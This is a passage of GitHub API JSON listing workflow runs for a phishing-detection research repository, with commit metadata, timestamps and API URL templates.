benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":74866545,"node_id":"MDExOldvcmtmbG93UnVuNzQ4NjY1NDU=","head_branch":"bug_fix","head_sha":"b99966d09cb4700ef01de7dbfccb53730cab8bfb","run_number":113,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":587297710,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODcyOTc3MTA=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/74866545","pull_requests":[],"created_at":"2020-04-10T00:22:18Z","updated_at":"2020-04-10T00:26:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/587297710","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"b99966d09cb4700ef01de7dbfccb53730cab8bfb","tree_id":"e301b57664a73e04869a7b2e9220dfdfe9bc42ee","message":"double dots string for path caused error in linux environment.","timestamp":"2020-04-10T00:21:50Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":74476743,"node_id":"MDExOldvcmtmbG93UnVuNzQ0NzY3NDM=","head_branch":"master","head_sha":"d1e77f1638fcee4116dc62413bce31d0639d6f49","run_number":112,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":585868548,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODU4Njg1NDg=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/74476743","pull_requests":[],"created_at":"2020-04-09T14:17:01Z","updated_at":"2020-04-09T14:21:48Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/585868548","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"d1e77f1638fcee4116dc62413bce31d0639d6f49","tree_id":"26d63a7617556383b09737b3d903fd476c1a503e","message":"Merge pull request #44 from sbaki2/bug_fix\n\nBug fix","timestamp":"2020-04-09T14:16:58Z","author":{"name":"Xin","email":"xin9186@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":73838441,"node_id":"MDExOldvcmtmbG93UnVuNzM4Mzg0NDE=","head_branch":"bug_fix","head_sha":"e7f83e2f5cde59a572f5cc7499caeb5bd9304004","run_number":105,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":583662017,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODM2NjIwMTc=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/73838441","pull_requests":[],"created_at":"2020-04-08T19:35:11Z","updated_at":"2020-04-08T19:39:39Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/583662017","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"e7f83e2f5cde59a572f5cc7499caeb5bd9304004","tree_id":"cc3ac8c15c02c62b105f691d0357cd549166edcc","message":"feature_list_dict_train was not defined","timestamp":"2020-04-08T19:31:45Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 